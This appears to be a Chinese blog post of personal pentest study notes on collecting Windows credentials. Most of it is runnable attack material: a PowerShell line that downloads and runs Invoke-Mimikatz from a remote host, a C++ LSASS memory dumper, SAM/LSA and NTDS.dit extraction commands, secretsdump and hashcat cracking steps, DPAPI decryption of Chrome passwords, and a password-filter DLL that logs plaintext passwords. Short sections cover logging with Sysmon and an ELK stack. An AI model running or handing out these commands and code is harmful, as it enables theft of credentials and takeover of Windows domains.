【内网渗透】凭据收集总结


当你的才华

还撑不起你的野心时

那你就应该静下心来学习


目录

从Lsass.exe进程内存中转储凭证

Execution

Dumping Credentials Locally

Powershell 降级

bypass /不降级

不使用mimikatz的情况下转储lsass进程提取凭据

使用MiniDumpWriteDump转储lsass进程

Dumping Hashes from SAM

Dumping LSA Secrets

内存中转储

注册表转储

Dumping and Cracking mscash - Cached Domain Credentials

hashdump

Secretsdump

mimikatz

使用hashcat 破解mscash / mscache

Domain Credentials Cached 的位置

Dumping Domain Controller Hashes Locally and Remotely

No Credentials - ntdsutil

No Credentials - diskshadow

With Credentials

通过wmic和Vssadmin卷影副本转储域控制器哈希

日志

网络与交互式登录

交互式登录:初始登录

通过runas 使用本地账号进行交互式登录

通过runas 使用域账号进行交互式登录

通过带有 /netonly的runas 凭据登录

本地账号进行网络登录

使用域账号进行网络登录

使用域账号进行网络交互式登录

PsExec From An Elevated Prompt

PsExec + Alternate Credentials

结论

番外——配置ELK

配置Winlogbeat

Kibana中查看日志

Reading DPAPI Encrypted Secrets with Mimikatz and C++

总览:

读取Chrome Cookie和登录数据

保护和取消数据

在C++中使用DPAPIs 对数据进行加密/解密

从注册表中读取远程链接管理器的密码

解密其他用户的文件

使用域管提取DPAPI备份密钥

T1214: Credentials in Registry

T1174: Password Filter

构造DLL

安装Password Filter DLL

在Powershell中设置注册表

总结

Forcing WDigest to Store Credentials in Plaintext

Dumping Delegated Default Kerberos and NTLM Credentials w/o Touching LSASS

一些基础

相关设置

转储Kerberos

转储NTLM

手动开启分配票据

如何转储其他用户的凭证

本地枚举分配的凭据

通过AD枚举分配的凭据

通过自定义安全支持提供者(Security Support Provider)和认证包拦截登录凭证。

通过重新启动加载SSP

不重新启动加载SSP

检测

代码

通过 Hooking HTML输入字段来提取Web应用程序密码

在什么时候有用?

Hooking 密码字段

Hooking

读取保存的密码

渗透

检测

Hooking msv1_0!SpAcceptCredentials 拦截登录凭证。

通过CredUIPromptForCredentials收集凭据

窃取用户凭据

检测凭据


原文链接(伍默大佬):伍默

本来按计划应该学习横向移动,但是发现一个问题,如何横向?这就是我记录这一章的目的,提升权限之后获取凭证,利用已获取的凭证扩大战果才是正确的姿势,学习的主要资料是参考链接中的分享,建议阅读参考的原文,再次说明,我的只是笔记,记录我的学习过程中的所思所想。

参考:

          Credential Access & Dumping

从Lsass.exe进程内存中转储凭证

Execution

powershell "IEX(New-Object System.Net.Webclient).DownloadString('http://10.10.10.128/Powershell/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
#当前权限需管理员

PS:原文中提到如果目标运行了一个Powershell示例,则无法启动脚本,笔者未遇到,均正常运行

            

Dumping Credentials Locally

privilege::debug
sekurlsa::logonPasswords

最简单的操作,不用多说。

Powershell 降级

powershell -version 2 "IEX(New-Object System.Net.Webclient).DownloadString('http://10.10.10.128/Powershell/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds"
#指定powershell版本

bypass /不降级

可理解C#中加载mimikatz

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:C:\Temp\posh.exe C:\Temp\posh.cs /reference:System.Management.Automation.dll
#编译后执行即可

posh.cs 请查看原网站进行获取。

不使用mimikatz的情况下转储lsass进程提取凭据

参考:

渗透技巧——使用Mimilib从dump文件中导出口令

Mimilib利用分析

转储lsass.exe 进程的方法如下:

  • 使用ProcDump Dump lsass 进程

  • 在powershell中使用Out-Minidump Dump lsass 进程

  • 直接使用任务管理器转储文件

  • comsvcs.dll转储文件

   任务管理器转储文件只需要当前用户是管理员组内账户即可,但是不要认为转储文件只要需要标准用户的权限(完整性Medium),开启UAC时,管理员账户使用任务管理器转储文件,任务管理器的完整性为High,所以才能操作System完整性的lsass.exx进程。

Get-Process lsass
.\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 824 C:\Users\jerry\AppData\Local\Temp\lsass.dmp full
#写入dump文件的目录注意权限,一般选择Temp等有权限写入的目录

                  

进程转储文件到本地mimikatz读取即可:    

                  

使用MiniDumpWriteDump转储lsass进程

#include "stdafx.sh"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>

using namespace std;

int main() {
	DWORD lsassPID = 0;
	HANDLE lsassHandle = NULL;
	HANDLE outFile = CreateFile(L"lsass.dmp", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	PROCESSENTRY32 processEntry = {};
	processEntry.dwSize = sizeof(PROCESSENTRY32);
	LPCWSTR processName = L"";

	if (Process32First(snapshot, &processEntry)) {
		while (_wcsicmp(processName, L"lsass.exe") != 0) {
			Process32Next(snapshot, &processEntry);
			processName = processEntry.szExeFile;
			lsassPID = processEntry.th32ProcessID;
		}
		wcout << "[+] Got lsass.exe PID: " << lsassPID << endl;
	}
	
	lsassHandle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsassPID);
	BOOL isDumped = MiniDumpWriteDump(lsassHandle, lsassPID, outFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
	
	if (isDumped) {
		cout << "[+] lsass dumped successfully!" << endl;
	}
	
    return 0;
}

VS 2019 中新建项目,模板选择 C++ 控制台应用:

会遇到两个错误:

  • 无法打开源文件”stdafx.h”,解决方法:删除这一行就好

  • 无法解析楼上符号等错误:解决方法:项目属性——链接器——输入——附加依赖项——”dbghelp.lib“

目标机器上管理员权限执行,自动dump lsass 进程的转储文件。

                      

lsass.dmp下载到本地使用 mimikatz 解密就好。

sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

Dumping Hashes from SAM

参考:渗透技巧——通过SAM数据库获得本地用户hash

reg save hklm\system system
reg save hklm\sam sam
#从注册表中导出system和sam文件

这里使用kali 中的samdump2来读取system 和 sam:

                          

mimikatz 也可以导入 sam 和 system:

                                   

另外介绍几种从读取sam的方式:

参考:module ~ lsadump

注意前提,需要system权限(或者system token),直接使用lsadump::sam即可。

.\PsExec64.exe  -accepteula -s -i -d cmd.exe
#这里我使用psexec4来获取一个system权限的cmd

                 

或者使用token::elevate 假冒令牌提升至system权限(当前前提是当前用户是管理组成员,管理员用户):

token::elevate
lsadump::sam

直接从文件系统中复制sam和system文件,这两个文件的路径如下:

C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\SAM

默认无法被复制,可使用卷影复制:

vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\S

后续再补充... ...

Dumping LSA Secrets

LSA Secrets 存储在注册表中:

HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets

内存中转储

参考:

通过Dpapi获取Windows身份凭证

写给蓝军的滥用 DPAPI 操作指南(下)

Windows LSA secrets

token::elevate
lsadump::secrets

                              

$MACHINE.ACC 是计算机对象,密码是120字符,240字节,如果密码包含不可见字符,会以十六进制显示

参考:Windows域中特殊的用户-计算机对象攻防

这个命令有什么用?请看下文DPAIP小节

注册表转储

reg save HKLM\SYSTEM system ; reg save HKLM\security security #这里笔者使用的是powershell
reg save HKLM\SYSTEM system & reg save HKLM\security security #如果使用cmd,请用&连接符

system文件和security移动到本地使用mimikatz进行读取:

lsadump::secrets /system:system /security:security

                         

Dumping and Cracking mscash - Cached Domain Credentials

转储和破解 mscash ——缓存的域票据

参考:

Belated Codegate 2014 Quals Writeups and Lessons Learned

MSCash Hash Primer for Pentesters

你并不懂 Mimikatz Part 1 - Wdigest SSP

你并不懂 Mimikatz Part 2 - MSCACHE

  mscash,或者叫 domain cached credentials、域缓存票据,与用户在成功登录后将缓存的域凭据存储在系统本地,缓存的凭据不会过期,以防止DC无法通信,任然能够登录机器,另外mscash hash 无法用于PTH。

  具体存储在系统哪里,保存在注册表中,结构未域凭据+域授权信息,后面就直接用 “凭据” 来代表 “凭据信息” + “授权信息”。

hashdump

  在Meterpreter中常常使用hashdump来dump sam 中的 hash:

migrate -N spoolsv.exe
hashdump

                     

如果要转存缓存的域凭据,请使用post模块中的cachedump:

getuid
getsystem #确保当前进程是system权限
use post/windows/gather/cachedump

           

Secretsdump

impacket 中提供了secrestdump的脚本,该脚本可允许转储存储在注册表中的sam、SECURITY、SYSTEM中的所有凭据。

reg.exe save hklm\sam sam
reg.exe save hklm\security security
reg.exe save hklm\system system
# 有时候需要规避这些关键词

文件移动到本地使用secretsdump读取:

secretsdump.py -sam sam-security security -system system. LOCAL

mimikatz

lsadump::cache #获取 SysKey 用于解密 NLKM 和 MSCache(v2)(来自注册表或 hive 文件)

                            

使用hashcat 破解mscash / mscache

cachedump模块默认输出的格式是John的格式:

sudo john --format=mscash2 ./mscash.txt --wordlist=./wordlist.txt

使用hashcat 破解mscache ,应该用以下格式:

$DCC2$10240#tom#e4e938d12fe5974dc42a90120bd9c90f
cut -d ":" -f 2 mscash.txt

                            

hashcat -m2100 '$DCC2$10240#administrator#aa9245e15ddcbdff2f461c53a624cbfa

              

Domain Credentials Cached 的位置

Domain Credentials Cached缓存在HKEY_LOCAL_MACHINE\SECURITY\Cache(需要system权限):

NL $1...10是记录的10个域用户缓存票据,如果清空所有值,且无法和DC通信,则域用户无法登录。

Dumping Domain Controller Hashes Locally and Remotely

No Credentials - ntdsutil

没有凭据,但是可以访问DC,通过域管权限使用ntdsutil导出ntds.ditsamsystem

powershell "ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\temp' q q"

导出temp目录下的两个目录:Active Directoryregistry

                        

使用impacket 中的secretsdump解密:

secretsdump.py -system system -security security -ntds ntds.dit LOCAL

No Credentials - diskshadow

参考:DiskShadow: The Return of VSS Evasion, Persistence, and Active Directory Database Extraction

Windows server 2008 及其以上,使用diskshadow 获取 ntdis.dit

没有凭据,但可以使用DC的域管权限,通过以下操作获得ntds.dit。

创建一个脚本shadow.txt,脚本内容如下:

set context persistent nowriters
set metadata c:\exfil\metadata.cab
add volume c: alias trophy
create
expose %someAlias% z:

执行以下命令:

mkdir c:\exfil
diskshadow.exe /s C:\Users\Administrator\shadow.txt
cmd.exe /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit

最后记得在交互式的diskshadow中清楚创建的卷影:

diskshadow.exe
    > delete shadows volume trophy
    > reset

With Credentials

使用impacket 项目中的secretsdump脚本,通过RPC dump ntds.dit 文件:

secretsdump.py -debug  -just-dc-ntlm 0day/administrator:'Admin!@#45'@192.168.3.142

                                       

通过wmic和Vssadmin卷影副本转储域控制器哈希

参考:REMOTELY EXTRACT NTDS.DIT & SYSTEM hive

简单来说就是通过wmic远程链接域控执行Vssadmin 卷影复制到本地

wmic能正常工作的前提:135端口开启,目标机器wmi服务正常运行

wmic /node:OWA2010SP3 /user:administrator@0day /password:Admin!@#45 process c
wmic /node:OWA2010SP3 /user:administrator@0day /password:Admin!@#45  process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\Temp\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM c:\Temp\ & copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY c:\Temp\"
#注意,如果temp目录不存在,则命令执行失败,可使用以下命令新建目录
wmic /node:OWA2010SP3 /user:administrator@0day /password:Admin!@#45 proce
net use j: \\OWA2010SP3\c$\Temp /user:administrator Admin!@#45; dir j:\:\

                           

得到了这三个文件使用之前的secretsdump脚本解密即可。

日志

这里使用Sysmon来查看相关WMI的日志,配置文件使用@ Cyb3rWard0g的StartLogging.xml。

.\Sysmon64.exe  -accepteula -i .\StartLogging.xml

笔者使用的环境为Windows Server 2008 R2 ,安装时遇到错误,安装补丁KB3033929解决。

日志通过事件查看器查看,路径为:应用程序和服务日志——Microsoft——Windows——Sysmon文件夹中:

不知道什么原因,我这里字符显示有点奇怪

网络与交互式登录

请理解这一小节,理解在Windows各种登录下何时丢弃凭据,换句话说,怎样登录才会保存凭据在内存中。

注意:我用的是凭据,并不是密码,这是由区别的,凭据可理解未NTLM、Kerberos票据等。

参考:

Audit logon events

Windows日志分析及事件ID大全

如果你注意过日志中对登录类型的描述,会发现微软实际上定义了很多种登录类型。

  • 登录类型 2 :Interactive(交互式登录)

  • 登录类型 3 :Network网络登录

  • 登录类型 4 :Batch批处理(例如计划任务)

  • 登录类型 5 :Service服务(servicer)登录

  • 登录类型 6 :Network Cleartext (网络明文)

  • 登录类型 7 :Unlock(解锁)

  • 登录类型 8 :NetworkCleartext(网络明文)

  • 登录类型 9 :NewCredentials(新凭证)

  • 登录类型 10 :Remotelnteractive(远程交互式)

  • 登录类型 11:Cachedlnteractive(缓存交互式)

  • 登录类型 12 :CachedRemotelnteractive( 与Remotelnteractive相同,用于审计目的)

  • 登录类型 13:CachedUnlock(尝试登录解锁)

本文讨论的是黑体部分的登录类型是否保存凭据到内存中(简单理解为内存),能否抓到对应的凭据。

交互式登录:初始登录

注:当前用户管理组成员(包括administrators或者Domain admins组内成员)。

mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

准备一个高权限的mimikatz作为后续测试转储凭据的主要工具。

通过runas 使用本地账号进行交互式登录

runas /user:jerry cmd

credman部分不用在意,这部分命令是使用凭据管理手动添加的,可以注意到,凭据被mimikatz转储。

通过runas 使用域账号进行交互式登录

runas /user:jerry@0day cmd
runas /user:0day\jerry cmd #或者这种格式
mimikatz # sekurlsa::logonpassword

mimikatz转储了凭据。

通过带有 /netonly的runas 凭据登录

runas /netonly  /user:mary cmd
#注,这里的用户并不是有效的用户,任意的用户即可
#尽管以用户的身份登录,但是日志中登录类型为9,表示源自新进程的任何网络连接都使用下凭据

mimikatz转储了凭据。。

本地账号进行网络登录

pth-winexe  //192.168.3.71 -U jerry%'Admin!@#45' cmd
#为避免冲突,请设置新账号已测试

mimikatz转储凭据中没有该账号。

使用域账号进行网络登录

pth-winexe  //192.168.3.71 -U 0day/administrator:'Admin!@#45' cmd #同网段的另一台机器
net use * \\192.168.3.71\test /user:administrator\0day Admin!@#45

wmic /node:192.168.3.71 /user:0day/administrator process call create calc
sekurlsa::logonpasswords

mimikatz转储凭据中没有该账号的凭据

使用域账号进行网络交互式登录

简单来说就是 RDP

为了演示,使用域管账号RDP至当前主机,可以看到,当前已转储域管的凭据。

PsExec From An Elevated Prompt

PsExec.exe  -accepteula  \\PC-jerry-0day cmd
#其他机器上psexec至当前主机,使用的是当前用户的默认票据,
#登录类型为3 网络登录

mimikatz 转储的凭据中没有该凭据。

PsExec + Alternate Credentials

PsExec.exe  -accepteula  \\PC-jerry-0day -u 0day\sqladmin -p admin!@#45 cmd
#其他主机psexec 至当前主机 指定用户凭据
#当前主机上查看凭据
#登录类型为3和登录类型2 ,两个登录类型。

mimikatz转储了凭据。

结论

网络登录不缓存在内存中,除非使用Psexec时是由 -U 指定凭据。

交互时登录和远程交互式登录都将缓存票据在内存中,使用mimikat可以很容易的进行转储。

番外——配置ELK

参考:浅谈Windows操作系统的安全日志审计

因为测试过程中有一些日志展示,这里记录下安装的日志监控平台的笔记,,以下是笔者的docker-compose.yml文件:

version: '2.0'
services:
    elasticsearch:
        image: docker.elastic.co/elasticsearch/elasticsearch:7.8.0
        container_name: elasticsearch
        environment:
            - discovery.type=single-node
            - cluster.name=es-docker-cluster
            - bootstrap.memory_lock=true
            - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
        ports:
            - 9200:9200
            - 9300:9300
    kibana:
        image: docker.elastic.co/kibana/kibana:7.8.0
        container_name: kibana
        ports:
            - 5601:5601
        links:
            - elasticsearch
        volumes:
            - ./kibana.yml:/usr/share/kibana/config/kibana.yml

其中kibana.yml的文件内容如下:

server.name: kibana
server.host: "0.0.0.0"
elasticsearch.hosts: [ "http://elasticsearch:9200" ]
monitoring.ui.container.elasticsearch.enabled: true
i18n.locale: "zh-CN"
docker-compose up -d
#确保容器均以成功启动

另外,笔者曾因为防火墙这个问题卡了很久,请关闭防火墙,使用的系统CentOS 8 ,其他系统有可能不一样。

甚至排查曾经某容器的build 失败,也是该原因,暂不明确原因,但是关闭防火墙之后,问题消失。

systemctl status firewalld.service
systemctl stop firewalld.service
systemctl disable firewalld.service
iptables -t nat -F
systemctl restart docker

elasticsearch和kibana 启动需要一些时间,可查看日志,确保已成功启动:

docker-compose  logs
docker logs kibana
docker logs elasticsearch
#elasticsearch

确保访问elasticsearch能够获得一串json数据:

配置Winlogbeat

首先确保“本地安全策略”中设置了对登录“成功”和“失败”、对账户管理“成功”和“失败”事件进行审核,这样对应的事件才会被记录在“安全”事件日志中,成为我们审计事件的来源。

下载Winlogbeat到C:\Program Files,解压重命名为Winlogbeat,在Powershell使用脚本安装Winlogbeat服务。

#请使用管理员权限打开
cd 'C:\Program Files\Winlogbeat'
.\install-service-winlogbeat.ps1
#可能因为powershell脚本执行策略原因安装失败
PowerShell.exe -ExecutionPolicy UnRestricted -File .\install-service-winlogbeat.ps1

修改Winlogbeat目录下的winlogbeat.yml文件,笔者的配置如下:

参考: Configure Winlogbeat

winlogbeat.event_logs:
  - name: Application
  - name: Security
  - name: System
  - name: Windows PowerShell
  - name: Microsoft-Windows-PowerShell/Operational
  - name: Microsoft-Windows-Sysmon/Operational

output.elasticsearch:
  hosts:
    - 10.10.10.129:9200
    
  setup.template.name: "winlogbeat"
  setup.template.pattern: "winlogbeat-*"
  setup.template.overwrite: false

10.10.10.129elasticsearch所在主机地址,使用winlogbeat.exe test config检测配置是否有错:

.\winlogbeat.exe test config -c .\winlogbeat.yml -e
Start-Service  winlogbeat #启动服务

参考:Get started with Winlogbeat

Kibana中查看日志

在Discover面板中选择“winlogbeat*”的索引,可查看相关日志。

在SIEM中也可以相关的安全日志:

相关高级应用有机会再使用记录。

Reading DPAPI Encrypted Secrets with Mimikatz and C++

参考:

Operational Guidance for Offensive User DPAPI Abuse

【知识回顾】DPAPI 详解

写给蓝军的滥用DPAPI操作指南(上)

写给蓝军的滥用 DPAPI 操作指南(下)

Mimikatz之DPAPI学习与实践

Windows Password Recovery - DPAPI Master Key analysis

总览:

  • DPAPI(Data Protection Application Programming Interface,微软数据保护接口)

  • 这里实验用了两个函数CryptProtectDataCryptUnprotectData

  • DPAPI简单而强大,系统应用和第三方应用都使用该接口加密用户数据,如:Chrome、VPN、RDP、Outook、Wifi等登录凭据

下面是一些重要的细节:

参考:通过Dpapi获取Windows身份凭证

  • DPAPI使用Master Key 来进行加解密(对称加密),64字节

  • Master Key File是存放Master Key的文件,分为两种:

注:目录下有多个Master key File ,每隔90天系统生成新的Master key (旧的不会删除),目录下的Preferred记录了最后一个Master key file 的名称和创建时间

——来自三好学生

换句话说,如何确定当前使用Master Key File,需要查看Preferred文件,三好学生提供了一个解析该文件的的C程序,笔者未编译成功,另外一个三好学生的一个思路是修改该文件的中的日期,替换Preferred,使旧的Master Key File被复用。

但其实笔者觉得只需要查看修改日期即可,Preferred和Master Key File 的修改时间相同的文件即未使用的Master Key File:

  • 可能是个例,欢迎指教。

    • 用户Master Key file,位于%APPDATA%\Microsoft\Protect\%SID%(隐藏属性)

    • 系统Master Key file,位于%WINDIR%\System32\Microsoft\Protect\S-1-5-18\User(隐藏属性)

Master Key File 使用用户的密码加密。

完整描述:加解密 DPAPI blob 时使用Master Key,使用用户的密码加密用户的 Master Key File,以保护Master key。
dpapi::masterkey /in:"C:\Users\jerry\AppData\Roaming\Microsoft\Protect\S-1-5-21-1682194975-1712503958-586237246-1001\8e2ec505-1722-405f-ac68-ff0c19231564" /password:admin
#可使用dpapi::masterkey 指定Master Key file ,并且输入/password 或 /hash 来解密获得Master key
#注:这里的hash值得时ntlm 或者sha1 之类的都可以,测试ntlm 已经无法解密,sha1 成功解密
#下面是解密系统Master Key file的命令
dpapi::masterkey /in:"C:\Windows\System32\Microsoft\Protect\S-1-5-18\User\02efa129-bc22-45e1-bfe3-65f510ed0f99" /system:3cce545e121aaa392fa6fc3b05ea0460f8157d04
#解密的key来自于下面 lsadump::secrets
#没有演示解密用户 Masterr Key file ,下面几种方法都可以获取用户的

这里也说明下Master Key的方法,有了它才能进行解密:

参考:渗透技巧——获取Windows系统下DPAPI中的MasterKey

  • 在线获取

#第一种办法
privilege::debug
sekurlsa::dpapi
#直接获取Master Key
#第二种办法
token::elevate #当前权限为管理员(High)
lsadump::secrets #获取用于解密 SECRETS 项(从注册表或hive数据中获取)数据的 Syskey。
#注意:这里获取的只是解密的key,或者另一种说法,预密钥
#获取的key解密对应Master Key file获得 Master Key,算是一种间接的方法
#关于secrets将在后面讲到

图中获取的是DPAPI—SYSTEM 的Master key

  • 离线获取
#dump lsass 进程内存
procdump.exe -accepteula -ma lsass.exe lsass.dmp
sekurlsa::minidump lsass.dmp
sekurlsa::dpapi
#注册表导出
reg save HKLM\SYSTEM System.hiv
reg save HKLM\SECURITY SECURITY.hiv
mimikatz log "lsadump::secrets /system:System.hiv /security:SECURITY.hiv"
  • 使用用户密码获取
#需要的信息  Master Key File 、SID 、Password
dpapi::masterkey /in:"C:\Users\jerry\AppData\Roaming\Microsoft\Pr

Master Key 加密的结果我们称为DPAPI数据体(也就是 blob),现在思路就明确了,寻找系统中应用程序加密的 dpapi blob 部分。

读取Chrome Cookie和登录数据

参考:渗透技巧——离线导出Chrome浏览器中保存的密码

读取Cookie:

dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies"

读取登录凭据:

dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Login Data" /unprotect

最新版v83测试失败

Update:

经测试v83 上路径为:

"%localappdata%\Google\Chrome\User Data\Profile 1\Cookies"
"%localappdata%\Google\Chrome\User Data\Profile 1\Login Data"

这两个文件本质上是一个SQLite 数据库:

包含笔者个人信息,所以重度打码。

dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Profile 1\Cookies" dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Profile 1\Login Data"
#目标机器上使用  /unprotect
#离线使用指定 /masterkey

任然未解密成功,不过可以看到部分信息,已看到有相关issues

另外发现有其他可以工具解密Chrome Login Data 。

保护和取消数据

使用dpapi::protect加密只有当前登录的用户才能访问的数据:

简单来说调用DPAPI接口加密

dpapi::protect /data:"spotless"
#如果不指定字符,默认是"mimikatz"字符

将blob复制粘贴到Hxd的一个新文件中,保存为spotless.bin,在用户的上下文下运行解密它:

dpapi::blob /in:"C:\Users\****\Downloads\spotless.bin" /unprotect
#可离线指定masterkey ,需要明确加密使用的Master key 和解密使用的Master key 是相同,否则解密失败
#如何找到对应的key,根据GUID的值

以看到成功解密出来加密的字符。

在C++中使用DPAPIs 对数据进行加密/解密

#include "stdafx.sh"
#include <windows.h>
#include <dpapi.h>
#pragma  comment(lib,"crypt32.lib")

int main()
{
	DATA_BLOB plainBlob = { 0 };
	DATA_BLOB encryptedBlob = { 0 };
	BYTE dataBytes[] = "spotless";
	HANDLE outFile = CreateFile(L"C:\\Users\\***\\Downloads\\spotless_1.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

	plainBlob.pbData = dataBytes;
	plainBlob.cbData = sizeof(dataBytes);

	CryptProtectData(&plainBlob, NULL, NULL, NULL, NULL, CRYPTPROTECT_LOCAL_MACHINE, &encryptedBlob);
	WriteFile(outFile, encryptedBlob.pbData, encryptedBlob.cbData, NULL, NULL);

	return 0;
}

原版代码编译不通过,找不到解决方法,这里用了@冷逸 代码中的解决办法

现在尝试使用mimikatz来解密产生的二进制文件:

dpapi::blob /in:"C:\Users\***\Downloads\spotless_1.bin" /unprotect

可以注意到输出的是 Hex:

末尾这个点(00)我是没明白怎么来的

对比下前面使用mimikatz创建的spotless.bin和后面的spotless_1.bin

前面一部分是相同的

尝试解密使用mimikatz 创建的加密的二进制文件:

#include "stdafx.sh"
#include <windows.h>
#include <dpapi.h>
#pragma  comment(lib,"crypt32.lib")

int main()
{
	DATA_BLOB plainBlob = { 0 };
	DATA_BLOB encryptedBlob = { 0 };
	BYTE dataBytes[] = "spotless";
	BYTE inBytes[300] = { 0 };
	BYTE outBytes[300] = { 0 };
	HANDLE outFile = CreateFile(L"c:\\users\\***\\Downloads\\encrypted.bin", GENERIC_ALL, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	HANDLE inFile = CreateFile(L"c:\\users\\****\\Downloads\\spotless.bin", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	DWORD fileSize = 0;

	//encrypt
	plainBlob.pbData = dataBytes;
	plainBlob.cbData = sizeof(dataBytes);
	CryptProtectData(&plainBlob, NULL, NULL, NULL, NULL, CRYPTPROTECT_LOCAL_MACHINE, &encryptedBlob);
	WriteFile(outFile, encryptedBlob.pbData, encryptedBlob.cbData, NULL, NULL);

	//decrypt
	fileSize = GetFileSize(inFile, NULL);
	ReadFile(inFile, encryptedBlob.pbData, fileSize, NULL, NULL);
	encryptedBlob.cbData = fileSize;
	CryptUnprotectData(&encryptedBlob, NULL, NULL, NULL, NULL, 0, &plainBlob);

	return 0;
}

原文是想表达从内存中查看解密的字符串,但是这里笔者未成功查看到。

从注册表中读取远程链接管理器的密码

Remote Desktop Connection Manage(简称RDCMan)是微软提供的一个远程桌面管理工具,RDCMan可以集中管理常用的远程桌面,最新版是2.7只能支持到 2012 R2,官方已经不再提供下载和维护。

  • New OWA2010SP3.rdg

  • Add Server:配置 Server SettingsLogin Credentials,记得Save

  • 测试链接之后,退出之前会提示是否保存,请选择是

使用Hxd打开该文件,找到其中Password部分,很明显这是一个Base64编码:

尝试解码Base64:

echo AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAABcUujiIXX0CsaP8MGSMVZAAAAAACAAAAAAAQZgAAA

注意,hex的前62个字节和之前使用DPAPI加密的spotless.bin 文件相同:

原文任然使用上面编写的CryptUnprotectData在用户上下文上执行,使用VS查看内存中的中字符,笔者前面的程序未能成功查看的字符,这里未成功复现。

这里使用Mimikatz解密该文件,分两种情况:

  • 在用户上下文解密

dpapi::blob /in:"C:\Users\jerry\Downloads\spotless.bin" /unprotect

  • 不在用户上下文环境,指定MasterKey解密:

注意guidMasterKey的值,guid标识不同的Master key ,使用对应的Master Key ,这里我使用sekurlsa::dpapi检索Master key

需要管理员权限

  • 指定masterkey解密:

实际上我这种解密方式比较低效,mimikatz已经自动化解密 rdg 文件:

这里暂时失败,暂且不知道失败的原因。这里仅是一个解密blo文件的的示例,理解上述步骤,可以解密其他使用dpapi 加密文件。

解密其他用户的文件

如果系统上还有其他用户,由于没有对应用户的DPAPI Master key ,无法读取这些 加密数据,,如果获取了本地管理用户,则可以尝试检索出对应的Master Key ,进行解密。

dpapi::chrome /in:"c:\users\spotless.offense\appdata\local\Google\Chrome\User Data\Default\Login Data" /unprotect  # 调用 CryptUnprotectData API
#解密错误
sekurlsa::dpapi #内存中查找用户对应的Master Key
dpapi::chrome /in:"c:\users\spotless.offense\appdata\local\Google\Chrome\User Data\Default\Login Data" /unprotect /masterkey:b5e313e344527c0ec4e016f419fe7457f2deaad500f68baf48b19eb0b8bc265a0669d6db2bddec7a557ee1d92bcb2f43fbf05c7aa87c7902453d5293d99ad5d6
#解密即可

使用域管提取DPAPI备份密钥

参考:

Retrieving DPAPI Backup Keys from Active Directory

Mimikatz之DPAPI学习与实践

域用户的Master Key File 是由域的DPAPI Key (或者说域备份密钥)保护的,该key值不会改变。

lsadump::backupkeys  /system:OWA2010SP3 /export
#system参数使用 完整的FQDN、地址都可以
#当前账号须是域管

#解密域用户的Master key file
dpapi::masterkey /in:"C:\Users\jerry.0DAY\AppData\Roaming\Microsoft\Protect\S

得到域用户的Master Key ,使用该 Key 解密域用户的相关文件即可。

T1214: Credentials in Registry

没啥好说的,第三方应用密码存储在注册表中,检索注册表,发现相关敏感信息。

reg query HKLM /f password /t REG_SZ /s
reg query HKLM /f password /t REG_SZ /s

T1174: Password Filter

参考:

Password Filters

Password Filter DLL在渗透测试中的应用

配置Additional LSA Protection监控Password Filter DLL

这一片和盖章关系不大

Credential Access – Password Filter DLL

在域环境或者工作组环境中可在组策略可开启密码策略中的复杂度要求以提高安全性:

如对复杂度还有要求,可使用 Password Filter DLL进一步提高密码的复杂度。

构造DLL

#include "stdafx.sh"
#include <windows.h>
#include <stdio.h>
#include <WinInet.h>
#include <ntsecapi.h>
#include <stdio.h>
#include <iostream>
#include <fstream>

using namespace std;

void writeToLog(const char* szString)
{
	FILE *pFile;
	fopen_s(&pFile, "c:\\logFile.txt", "a+");

	if (NULL == pFile)
	{
		return;
	}
	fprintf(pFile, "%s\r\n", szString);
	fclose(pFile);
	return;

}

extern "C" __declspec(dllexport) BOOLEAN __stdcall InitializeChangeNotify(void)
{
	OutputDebugString(L"InitializeChangeNotify");
	writeToLog("InitializeChangeNotify()");
	return TRUE;
}

extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordFilter(
	PUNICODE_STRING AccountName,
	PUNICODE_STRING FullName,
	PUNICODE_STRING Password,
	BOOLEAN SetOperation)
{
	OutputDebugString(L"PasswordFilter");
	return TRUE;
}

extern "C" __declspec(dllexport) NTSTATUS __stdcall PasswordChangeNotify(
	PUNICODE_STRING UserName,
	ULONG RelativeId,
	PUNICODE_STRING NewPassword)
{
	FILE *pFile;
	fopen_s(&pFile, "c:\\logFile.txt", "a+");

	OutputDebugString(L"PasswordChangeNotify");
	if (NULL == pFile)
	{
		return true;
	}
	fprintf(pFile, "%ws:%ws\r\n", UserName->Buffer, NewPassword->Buffer);
	fclose(pFile);
	return 0;
}

VS 中编译动态链接库项目:

